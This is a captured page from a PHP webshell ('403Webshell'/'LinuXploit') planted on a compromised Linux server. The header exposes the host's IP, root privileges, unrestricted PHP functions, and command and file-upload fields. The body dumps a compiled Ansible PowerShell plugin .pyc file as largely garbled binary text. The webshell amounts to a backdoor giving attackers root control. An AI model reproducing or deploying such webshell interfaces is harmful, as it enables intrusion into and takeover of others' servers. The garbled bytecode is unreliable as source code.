403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/plugins/shell/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/plugins/shell/__pycache__/powershell.cpython-312.pyc
�

1<�e�,���ddlmZmZmZeZdZddlZddlZddl	Z	ddl
Z
ddlZddlm
cmZddlZddlmZmZddlmZgd�Zd
d�ZGd�d	e�Zy)�)�absolute_import�division�print_functionaL
name: powershell
version_added: historical
short_description: Windows PowerShell
description:
- The only option when using 'winrm' or 'psrp' as a connection plugin.
- Can also be used when using 'ssh' as a connection plugin and the C(DefaultShell) has been configured to PowerShell.
extends_documentation_fragment:
- shell_windows
N)�to_bytes�to_text)�	ShellBase)�
PowerShellz
-NoProfilez-NonInteractivez-ExecutionPolicy�Unrestrictedc	��g}|r�|jd�dz}||jd�|}||d}tj|�}tjd|j
�}|rd|j
d�znd}|jd	|z�}|j|D�	cgc]=}	|	jjd
�|k(s�"|	jjdd���?c}	�|r��tdj|��Scc}	w)
z�
    Takes a byte string like '#< CLIXML
<Objs...' and extracts the stream
    message encoded in the XML data. CLIXML is used by PowerShell to encode
    multiple objects in stderr.
    s</Objs>�s<Objs Nz{(.*)}z{%s}��z./%sS�S�_x000D__x000A_z
)�find�ET�
fromstring�re�match�tag�group�findall�extend�attrib�get�text�replacer�join)
�data�stream�lines�end_idx�current_element�clixml�namespace_match�	namespace�strings�es
          �B/usr/lib/python3/dist-packages/ansible/plugins/shell/powershell.py�
_parse_clixmlr*!s���
�E���)�)�J�'�!�+���t�y�y��3�G�<���G�H�~������/���(�(�9�f�j�j�9��9H�F�_�2�2�1�5�5�b�	��.�.��9�!4�5��
���G�k�q�q�x�x�|�|�\_�O`�dj�Oj�a�f�f�n�n�%5�r�:�k�l���F�K�K��&�'�'��ls�"#D�Dc��eZdZe�ZdZdZdZdZd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zdd�Zdd�Zdd�Zd�Zd�Zdd�Zd�Zd�Zd�Zdd�Zy
)�ShellModule�
powershellz> $null�;Tc��y)Nr�)�self�kwargss  r)�
env_prefixzShellModule.env_prefixMs���c	���|D�cgc]&}tj|j|����(}}tj|dg|ddD�cgc]}|j	d���c}���Scc}wcc}w)Nrr
�\)�ntpath�normpath�_unquoter�strip)r1�args�arg�parts�parts     r)�	join_pathzShellModule.join_pathQsg��@D�E��������s�!3�4�E��E�
�{�{�5��8�O�E�!�"�I�&N�D�t�z�z�$�'7�&N�O�O��F��
'Os�+A+�
A0
c�
�tjj|j��}tjj	|j��\}}|j�dvr|dzS|j�S)N)�.ps1z.exerA)�os�path�basenamer:�splitext�lower)r1�pathname�	base_name�name�exts     r)�get_remote_filenamezShellModule.get_remote_filenameZsb���G�G�$�$�X�^�^�%5�6�	��G�G�$�$�Y�_�_�%6�7�	��c��9�9�;�.�.��&�=� ���� � r4c�l�|j|�}|jd�xs|jd�S)N�/r6)r9�endswith)r1rCs  r)�path_has_trailing_slashz#ShellModule.path_has_trailing_slashcs-���}�}�T�"���}�}�S�!�8�T�]�]�4�%8�8r4c��td��)Nz'chmod is not implemented for Powershell��NotImplementedError)r1�paths�modes   r)�chmodzShellModule.chmodh���!�"K�L�Lr4c��td��)Nz'chown is not implemented for PowershellrQ)r1rS�users   r)�chownzShellModule.chownkrVr4c��td��)Nz/set_user_facl is not implemented for PowershellrQ)r1rSrXrTs    r)�
set_user_faclzShellModule.set_user_faclns��!�"S�T�Tr4c��|j|j|��}|r|jd|z�S|jd|z�S)Nz!Remove-Item '%s' -Force -Recurse;zRemove-Item '%s' -Force;��_escaper9�_encode_script)r1rC�recurses   r)�removezShellModule.removeqsK���|�|�D�M�M�$�/�0����&�&�'N�QU�'U�V�V��&�&�'E��'L�M�Mr4Nc���|s|jj�}|j|j|��}|r|n|j	d�}d|�d|�d�}|j|j
��S)N�
remote_tmpzG
        $tmp_path = [System.Environment]::ExpandEnvironmentVariables('zB')
        $tmp = New-Item -Type Directory -Path $tmp_path -Name 'z:'
        Write-Output -InputObject $tmp.FullName
        )�	__class__�_generate_temp_dir_namer^r9�
get_optionr_r:)r1�basefile�systemrT�tmpdir�
basetmpdir�scripts       r)�mkdtempzShellModule.mkdtempxsi����~�~�=�=�?�H��<�<��
�
�h� 7�8��%�V�4�?�?�<�+H�
��8�	%��
�"�"�6�<�<�>�2�2r4c���|j|�}|dk(rd}n=|jd�rd|j|dd�z}nd|j|�z}|j|�S)N�~z Write-Output (Get-Location).Pathz~\z)Write-Output ((Get-Location).Path + '%s')r
zWrite-Output '%s')r9�
startswithr^r_)r1�user_home_path�usernamerks    r)�expand_userzShellModule.expand_user�sn�����~�6���S� �7�F�
�
&�
&�u�
-�@�4�<�<�P^�_`�_a�Pb�Cc�c�F�(�4�<�<��+G�G�F��"�"�6�*�*r4c�n�|j|j|��}d|z}|j|�S)Nz�
            If (Test-Path '%s')
            {
                $res = 0;
            }
            Else
            {
                $res = 1;
            }
            Write-Output '$res';
            Exit $res;
         r])r1rCrks   r)�existszShellModule.exists�s=���|�|�D�M�M�$�/�0��
�����"�"�6�*�*r4c��|j|j|��}dt|��z}|j|�S)Na}
            If (Test-Path -PathType Leaf '%(path)s')
            {
                $sp = new-object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider;
                $fp = [System.IO.File]::Open('%(path)s', [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read);
                [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
                $fp.Dispose();
            }
            ElseIf (Test-Path -PathType Container '%(path)s')
            {
                Write-Output "3";
            }
            Else
            {
                Write-Output "1";
            }
        )rC)r^r9�dictr_)r1rCr;r2rks     r)�checksumzShellModule.checksum�sA���|�|�D�M�M�$�/�0��� ��o�!��"�"�"�6�*�*r4c��tjdd�}|dk(r|j|dd��Stj|d��}tt
t|��}|r�|j�dk(rm|j|d�j�jd	�sd
|j|d�z|d<d|dzdz|j|dd��z}|S|r'|jd
�r|jd|dd�n*|s(|j|d�|d<|j|�d|�ddj|��d�}|j|d��S)Nzansible.executor.powershellzbootstrap_wrapper.ps1rF)rk�strict_mode�preserve_rc)�posixz#!powershellrrAz"%s.ps1"ztype z | z#!�z/
            Try
            {
                z
                � a�
            }
            Catch
            {
                $_obj = @{ failed = $true }
                If ($_.Exception.GetType)
                {
                    $_obj.Add('msg', $_.Exception.Message)
                }
                Else
                {
                    $_obj.Add('msg', $_.ToString())
                }
                If ($_.InvocationInfo.PositionMessage)
                {
                    $_obj.Add('exception', $_.InvocationInfo.PositionMessage)
                }
                ElseIf ($_.ScriptStackTrace)
                {
                    $_obj.Add('exception', $_.ScriptStackTrace)
                }
                Try
                {
                    $_obj.Add('error_record', ($_ | ConvertTo-Json | ConvertFrom-Json))
                }
                Catch
                {
                }
                Echo $_obj | ConvertTo-Json -Compress -Depth 99
                Exit 1
            }
        )rz)�pkgutil�get_datar_�shlex�split�list�maprrFr9rNro�insert�appendr)	r1�
env_string�shebang�cmd�arg_path�bootstrap_wrapper�	cmd_parts�wrapper_cmdrks	         r)�build_module_commandz ShellModule.build_module_command�si��#�,�,�-J�Lc�d���"�9��&�&�.?�U�`e�&�f�f��K�K��5�1�	���W�i�0�1�	��w�}�}��.�8��=�=��1��.�4�4�6�?�?��G�)�D�M�M�)�A�,�,G�G�	�!��!�I�a�L�0�5�8�4�;N�;N�Vg�uz�IN�;N�<O�O�K���
��+�+�D�1����Q�����,���=�=��1��6�I�a�L����X�&��H�3�8�8�I�.�G#0��H�"�"�6�u�"�=�=r4c��d|zS)Nz& %s; exit $LASTEXITCODEr0)r1r�s  r)�
wrap_for_execzShellModule.wrap_for_exec�s
��)�C�/�/r4c���t|xsd�}tjd|�}|r|jd�Stjd|�}|r|jd�S|S)z5Remove any matching quotes that wrap the given value.rz^\s*?\'(.*?)\'\s*?$r
z^\s*?"(.*?)"\s*?$)rrrr)r1�value�ms   r)r9zShellModule._unquote�sY������$���H�H�+�U�3����7�7�1�:���H�H�)�5�1����7�7�1�:���r4c�L�tjd�jd|�S)z9Return value escaped for use in PowerShell single quotes.u(['‘’‚‛])z\1\1)r�compile�sub)r1r�s  r)r^zShellModule._escapes!���z�z�:�;�?�?�	�5�Q�Qr4c��t|�}|dk(rtddgz}n�|rd|z}|rd|z}dj|j�D�cgc]#}|j	�s�|j	���%c}�}ttj|jd��d�}td|gz}|r|Sd	j|�Scc}w)
z?Convert a PowerShell script to a single base64-encoded command.�-z-Commandz"Set-StrictMode -Version Latest
%szz%s
If (-not $?) { If (Get-Variable LASTEXITCODE -ErrorAction SilentlyContinue) { exit $LASTEXITCODE } Else { exit 1 } }
�
z	utf-16-lezutf-8z-EncodedCommandr})r�_common_argsr�
splitlinesr:�base64�	b64encode�encode)r1rk�as_listryrzr��x�encoded_scripts        r)r_zShellModule._encode_script
s��������T�>�$�
�C�'8�8�I��@�6�I���[�����Y�Y�6�3D�3D�3F�T�a�!�'�'�)����	�T�U�F�$�V�%5�%5�f�m�m�K�6P�%Q�SZ�[�N�$�(9�>�'J�J�I�����x�x�	�"�"��
 Us�C�C)F)NFNN)r)N)FTT)�__name__�
__module__�__qualname__�	frozenset�COMPATIBLE_SHELLS�SHELL_FAMILY�_SHELL_REDIRECT_ALLNULL�
_SHELL_AND�_IS_WINDOWSr3r?rKrOrUrYr[rarlrrrtrwr�r�r9r^r_r0r4r)r,r,<s��
"����L�'���J��K��P�!�9�
M�M�U�N�
3�+�+� +�*;>�z0�	�R�#r4r,)�Error)�
__future__rrr�type�
__metaclass__�
DOCUMENTATIONr�rBrr�r~�xml.etree.ElementTree�etree�ElementTreerr7�+ansible.module_utils.common.text.convertersrr�ansible.plugins.shellrr�r*r,r0r4r)�<module>r�sU��C�B��
�	�
��	�	���"�"�
�I�+�c��(�6c#�)�c#r4

Youez - 2016 - github.com/yon3zu
LinuXploit